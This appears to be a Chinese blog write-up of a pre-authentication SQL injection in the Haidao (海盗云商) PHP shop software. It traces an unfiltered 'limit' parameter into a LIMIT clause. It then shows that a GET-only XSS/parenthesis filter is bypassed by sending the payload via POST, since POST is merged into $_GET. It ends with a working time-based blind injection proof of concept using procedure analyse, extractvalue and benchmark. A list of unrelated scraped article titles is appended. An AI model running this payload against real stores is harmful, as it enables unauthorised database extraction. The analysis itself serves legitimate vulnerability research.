漏洞触发点

在/system/module/goods/control/index_control.class.php中第105行:

public function ajax_goods(){

$sqlmap = array();

if($_GET['order']){

$sqlmap['order'] = $_GET['order'] == 'rand' ? 'rand()' : ($_GET['order'] == 'sales' ? $sqlmap['order'] = 'sales desc' : $_GET['order']);

}else{

$sqlmap['order'] = 'sort asc,sku_id desc';

}

if($_GET['statusext']){

$sqlmap['status_ext'] = $_GET['statusext'];

}

if($_GET['catid'] > 0){

$sqlmap['catid'] = $_GET['catid'];

}

if($_GET['limit']){

$options['limit'] = $_GET['limit'];

}else{

$options['limit'] = 5;

}

$result = $this->service->lists($sqlmap,$options);

foreach ($result['lists'] as $key => $value) {

$result['lists'][$key]['thumb'] = thumb($value['thumb'],$_GET['length'],$_GET['length']);

}

echo json_encode($result);

}

可以看到这个ajax_goods里面有很多变量是我们可控的。比如这个

$options['limit'] = $_GET['limit'];

可以看到是取得GET传进来的limit参数的值,并且没有做任何过滤,所以这个 $options['limit']是我们可控的。然后我们跟踪一下这个变量进入到了哪里,可以看到带入到了lists()函数中,我们追踪一下这个函数:

在/system/module/goods/model/service/goods_sku_service.class.php中第535行:

public function lists($sqlmap = array(),$options = array()){

$sqlmap = $this->build_goods_map($sqlmap);

$map = array();

if(!empty($sqlmap['status_ext'])){

$map['status_ext'] = $sqlmap['status_ext'];

unset($sqlmap['status_ext']);

}

$goods_ids = $this->build_goods_ids($sqlmap);

if(isset($sqlmap['price'])){

$map = $this->build_sku_map($sqlmap);

}

$map['sku_id'] = array('IN',$goods_ids);

$map['status'] = array('EQ',1);

$count = $this->index_db->where($map)->count();

$sku_ids = $this->index_db->where($map)->page($options['page'])->order($sqlmap['order'])->limit($options['limit'])->getfield('sku_id',TRUE);

foreach ($sku_ids AS $sku_id) {

$result[] = $this->sku_db->detail($sku_id,TRUE,'goods',false)->show_index()->output();

}

return array('count' => $count,'lists' => $result);

}

我们直接追踪一下limit变量在哪里,我们可以看到这里:

$sku_ids = $this->index_db->where($map)->page($options['page'])->order($sqlmap['order'])->limit($options['limit'])->getfield('sku_id',TRUE);

这里出现了我们的可控的$options['limit'],是被带入到了limit()函数中,我们追踪一下这个函数:

在/haidao/system/library/table.class.php中第1489行:

public function limit($offset,$length=null){

$this->options['limit'] = is_null($length)?$offset:$offset.','.$length;

return $this;

}

就是一个取sql语句中limit值的操作,并没有用什么int之类的来过滤,意味着我们可以在limit后插入任意字符来进行注入,所以这就是个limit注入。

我们稍微fuzz一下,看看语句是怎么样的。

先访问:

http://localhost/index.php?m=goods&c=index&a=ajax_goods&limit=1,2333333

然后我们去看一下数据库中的语句:

SELECT `sku_id` FROM `hd_goods_index` WHERE ( `sku_id` IN () ) AND ( `status` = 1 ) ORDER BY sort asc,sku_id desc LIMIT 1,2333333

可以看到我们成功控制了limit后的语句。不过这条语句是有问题的。因为WHERE ( `sku_id` IN () )这个IN里面没有值,所以会报错。那么怎么解决这个问题呢。因为我是在本地测试的,所以这个商城系统是一个商品都没有的,只要我们添加一个商品就可以了。在实际情况中不会出现这种,毕竟是一个商城系统,你一个商城系统怎么可能连一个商品都没有?

我们去后台添加一个商品,然后再访问这个链接,然后看数据库中的语句:

SELECT `sku_id` FROM `hd_goods_index` WHERE ( `sku_id` IN ('2') ) AND ( `status` = 1 ) ORDER BY sort asc,sku_id desc LIMIT 1,2333333

可以看到IN里面有值了,就不会报错了。

好,那么我们开始进行limit注入,因为不能报错,所以只能用时间盲注来进行注入。

先访问一下payload试试:

http://localhost/haidao/index.php?m=goods&c=index&a=ajax_goods&limit=limit=1,1 procedure analyse(extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(10000000,sha1(1)),1)))),1)*

但是出现了一个这个:

发现是被拦截了,我们看一下拦截函数:

在/system/library/application.class.php中第164行:

private function _xss_check() {

static $check = array('"', '>', '

if($_SERVER['REQUEST_METHOD'] == 'GET' ) {

$temp = $_SERVER['REQUEST_URI'];

} elseif(empty ($_GET['formhash'])) {

$temp = $_SERVER['REQUEST_URI'].file_get_contents('php://input');

} else {

$temp = '';

}

$temp = $_SERVER['REQUEST_URI'];

if(!empty($temp)) {

$temp = strtoupper(urldecode(urldecode($temp)));

foreach ($check as $str) {

if(strpos($temp, $str) !== false) {

error::system_error('request_tainting');

}

}

}

return true;

}

可以看到这是一个xss过滤的函数...不过它过滤了括号,所以就很尴尬了,不过它拦截的是$_SERVER['REQUEST_URI']中的字符串,意味着只要我们用GET方式来传递的话,就肯定要被拦截了,这里想了很久,还是不能绕过这个无括号注入。 那么我们看一下在哪里调用了_xss_check()这个函数: 在该文件的第54行:

private function _init_input() {

if (isset($_GET['GLOBALS']) ||isset($_POST['GLOBALS']) || isset($_COOKIE['GLOBALS']) || isset($_FILES['GLOBALS'])) {

error::system_error('request_tainting');

}

$this->_xss_check();

if(MAGIC_QUOTES_GPC) {

$_GET = dstripslashes($_GET);

$_POST = dstripslashes($_POST);

$_COOKIE = dstripslashes($_COOKIE);

}

if(IS_POST && !empty($_POST)) {

$_GET = array_merge($_GET, $_POST);

}

$_GET['page'] = max(1, intval($_GET['page']));

define('IS_AJAX', ((isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') || !empty($_POST[config('VAR_AJAX_SUBMIT')]) || !empty($_GET[config('VAR_AJAX_SUBMIT')])) ? true : false);

}

在_init_input()这个函数中引用了_xss_check()这个函数,但是这里有一个亮点,让_xss_check()这个函数一点用都没有,就是这样一句:

if(IS_POST && !empty($_POST)) {

$_GET = array_merge($_GET, $_POST);

}

如果存在POST数据的话,就把$_POST和$_GET合并成一个数组并重新赋值给$_GET。这个就可以绕过那个_xss_check()了。比如我们上文提到的

$options['limit'] = $_GET['limit'];

这里的$_GET['limit']其实就是$_POST['limit']和$_GET['limit']的集合,意味着我们传入一个$_POST['limit'],那么这里也是能够取到值的。所以我们将注入语句通过POST来传递的话,因为_xss_check()检测的是$_SERVER['REQUEST_URI']。所以就可以绕过那个检测。

POC

http://localhost/index.php?m=goods&c=index&a=ajax_goods

POST: limit=1,1 procedure analyse(extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(10000000,sha1(1)),1)))),1)

可以看到成功延时了:

海盗云商php,海盗云商(2.2.1.160429)前台无限制注入(无需登录,无视GPC)相关推荐

  1. 阿里云打好云基础 敬候电商开发者上云

    本文讲的是阿里云打好云基础 敬候电商开发者上云[IT168评论]天猫双11狂欢节,2012年11日零时开始的第一分钟,有超过1000万人涌入天猫平台,该数据是去年同期342万人的近三倍.在双十一全天, ...

  2. 《2017 云计算评测报告》:带你了解 AWS、阿里云、腾讯云等八家云计算服务提供商的综合用户体验情况...

     报告电子版至听云官方博客下载:http://blog.tingyun.com/web/article/detail/1352 评测说明 评测目标:同一应用(网站)在不同云上的用户访问体验,以及对云资 ...

  3. 中美跨境电商贸易投资云洽会成功举办;TT Shop和TTforBusiness将互通;PhonePe月破20亿...|洞悉跨境

    "参会中美企业表示,愿意借助相关平台,进一步扩宽美国市场和拓展商机渠道.此次活动旨在促进中美跨境电商交流合作,支持和帮助跨境电商解决招商获客难.融资难.物流时效低和结算流程长等痛点问题,助力 ...

  4. 精彩回顾 | 苏州农商银行新一代云原生信息科技架构体系实践

    11月18日,2022年第五届中国金融科技产业大会暨第四届中新(苏州)数字金融应用博览会"基础软件与云原生系统软件"分论坛成功举办.该论坛由由中国计算机学会CTO CLUB(苏州) ...

  5. 电商网站的云配置推荐

    电商网站该如何进行云服务器配置呢?电商云服务器的配置选择,其实和网站或应用的类型.访问量.数据量大小.程序质量等因素有关,建议和您的网站或应用的开发技术人员沟通,选择最适合您的配置.  如果您没有技术 ...

  6. 跨境电商业务之云号码

    一.背景 1. 对于跨境卖家 跨境电商平台如亚马逊会限制一个卖家只能注册和使用一个账号,目的是确保平台的公平公正.也不能与其他卖家共享同一账号,或者将其账号授权给其他人使用,否则会导致账号封停 但对于 ...

  7. 电商WMS与云仓储-E店宝-陈涛

    电商WMS与云仓储-E店宝-陈涛 E店宝CEO陈涛表示,目前大量传统品牌进入电子商务,但沿用的是过去的,冲上去直接砸广告.而实际上,电商运营并没有那么简单,做电商6个不得不的雷区.分别是电商企业的特点 ...

  8. 国内云服务器商怎么选?阿里云、腾讯云、华为云、天翼云怎么选?

    随着中国企业云服务器使用率的不断提升,虽然与国外一些国家相比还有很大差距.但得益于政策红利和中国企业的数字化转型,市场潜力空间仍然很大,而作为互联网行业中的一员,我们也应当对云服务器的基础知识有一定的 ...

  9. 双12来临,解密淘宝小二都在用的“电商神器”——阿里云RPA(机器人流程自动化)

    (关注微信公众号:SaaS加速器,了解企业服务最新资讯) 自从近年国外UiPath.Automation Anywhere.Blue Prism等RPA企业的崛起,Robotic Process Au ...

最新文章

  1. 计算机视觉方向简介 | 半全局匹配SGM
  2. ECMAScript 和 JavaScript 的未来
  3. 模板:使用文件作为输入
  4. PHP高性能分布式应用服务器框架-SwooleDistributed
  5. python stm32-【ST开发板评测】使用Python来开发STM32F411
  6. Juyter notebook 出现“localhost 目前无法处理此请求”
  7. 对GC垃圾收集的一点整理
  8. 桌面计算机硬盘打不开,我电脑的磁盘打不开,是什么问题?
  9. ISA2006无人值守安装
  10. 使用调试的方式搞清楚SAP UI5应用标题的更改方式
  11. Hakase and Nano【博弈】
  12. TensorFlow 深度学习实战指南中文版
  13. Android定位(是否使用GPS进行定位)
  14. PHP正则提取超链接地址及标题,PHP正则表达式提取超链接及其标题
  15. 虚拟机安装教程(VM15.5+Ubuntu16.04)
  16. Swift游戏实战-跑酷熊猫 09 移除场景之外的平台
  17. GhostXP_SP3电脑公司特别版_V2013.06
  18. 《国际名酒知识与品鉴》学习笔记
  19. lsof Linux
  20. 彩虹六号mute影响服务器笑话,有哪些《彩虹六号》玩家才懂的笑话?

热门文章

  1. 深度解析:云计算三种服务模式
  2. javascript Date属性(月份英语)
  3. Callable 接口实现java 的多线程
  4. 使用示波器的正确姿势
  5. git 拉取远程分支到本地的简便方法
  6. 《吴军:科技史纲60讲》走近科技文明世界
  7. 计算机硬盘sata,sata硬盘是什么
  8. HEALER: Relation Learning Guided Kernel Fuzzing学习笔记
  9. 理查马文价值导向选股法则
  10. 21世纪25大扣将排行榜(组图)